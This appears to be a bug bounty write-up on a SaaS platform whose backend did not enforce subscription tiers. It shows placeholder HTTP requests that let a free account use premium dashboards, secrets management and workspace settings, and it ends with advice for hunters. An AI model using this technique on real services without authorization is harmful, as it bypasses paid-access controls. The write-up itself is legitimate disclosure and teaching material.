How I Found a Server-Side Entitlement Issue That Allowed Free Users to Access Premium Features

While testing a SaaS platform through its VDP, I noticed that several features were only available to higher subscription tiers.

Since I was using a Free account, those features were hidden from me. As many bug hunters know, hidden functionality often leads to an interesting question:

Is the backend actually enforcing the restriction, or is the frontend just hiding it?

Looking Behind the UI

While browsing the application, I noticed that the frontend received information about the current workspace plan and used it to decide which features should be displayed.

Out of curiosity, I modified the value returned to my browser.

Immediately, several premium sections appeared.

At this point, there was no vulnerability yet.

Changing data inside your own browser only affects the UI. The important part is whether the backend trusts those restrictions.

So I moved my attention to the API.

Testing Premium Functionality

One of the newly visible features was a security-related dashboard.

Instead of using the interface, I sent the request directly.

GET /workspaces/{workspace_id}/security-summary HTTP/2
Authorization: Bearer {token}

GET /workspaces/{workspace_id}/security-summary HTTP/2
Authorization: Bearer {token}

I expected an authorization error because the workspace was still on the Free plan.

Instead, the server returned a successful response:

HTTP/2 200 OK
{
  "workspace_id":"{workspace_id}",
  "summary":{
    "total_projects":2,
    "projects_scanned":2
  }
}

HTTP/2 200 OK
{
  "workspace_id":"{workspace_id}",
  "summary":{
    "total_projects":2,
    "projects_scanned":2
  }
}

That was the first indication that the backend was not validating subscription entitlements.

Testing Secrets Management

After finding one endpoint that worked, I started checking other premium functionality.

One of those features allowed users to manage secrets.

I sent the following request:

POST /workspaces/{workspace_id}/secrets HTTP/2
Authorization: Bearer {token}
Content-Type: application/json
{
  "operations":[
    {
      "operation":"add",
      "name":"test_secret",
      "value":"12345"
    }
  ]
}

POST /workspaces/{workspace_id}/secrets HTTP/2
Authorization: Bearer {token}
Content-Type: application/json
{
  "operations":[
    {
      "operation":"add",
      "name":"test_secret",
      "value":"12345"
    }
  ]
}

The server processed the request successfully:

HTTP/2 200 OK
{
  "success": true,
  "count": 4
}

HTTP/2 200 OK
{
  "success": true,
  "count": 4
}

At this point it became clear that the issue was not limited to a single endpoint.

Looking for a Pattern

I continued testing other premium functionality exposed by the application.

For example, premium workspace settings could be updated directly through the API:

PUT /user/workspaces/{workspace_id} HTTP/2
Authorization: Bearer {token}
Content-Type: application/json
{
  "require_security_scan_before_publish": true,
  "block_publish_on_critical_findings": true,
  "exclude_from_discovery": true
}

PUT /user/workspaces/{workspace_id} HTTP/2
Authorization: Bearer {token}
Content-Type: application/json
{
  "require_security_scan_before_publish": true,
  "block_publish_on_critical_findings": true,
  "exclude_from_discovery": true
}

The request was accepted and the settings were saved successfully, despite the workspace still being classified as a Free-tier account.

I later observed similar behavior in additional premium functionality such as group-management features.

Root Cause

The issue came down to missing server-side entitlement checks.

The frontend correctly hide premium features from Free users, but the backend APIs did not consistently verify whether the workspace subscription was authorized to access those features.

As a result, knowing the API endpoint was enough to access functionality intended for higher subscription tiers.

Impact

A Free-tier user could access and use premium functionality without upgrading their subscription.

Affected functionality included:

• Security-related dashboard features
• Secrets management
• Premium workspace settings
• Group-management functionality

Although the issue did not allow access to another user's data, it broke the application's authorization model by allowing lower-tier users to perform actions reserved for higher-tier plans.

What Hunters Should Look For

This finding came from a pattern that appears frequently in SaaS applications.

Whenever you see:

• Free vs Premium plans
• Enterprise-only features
• Team management
• Security settings
• Workspace controls
• Admin-only functionality

ask yourself:

Where is the authorization actually happening?

Many applications hide features correctly in the UI but forget to enforce the same restrictions on the backend.

When testing SaaS platforms, I always pay attention to anything that is disabled, hidden, or locked behind a subscription plan.

If the feature exists, there is usually an API behind it.

And if there is an API behind it, it's worth checking whether the server validates access before processing the request.

This finding wasn't the result of a complicated exploit chain.

It came from a simple habit:

Don't trust the UI. Verify the backend.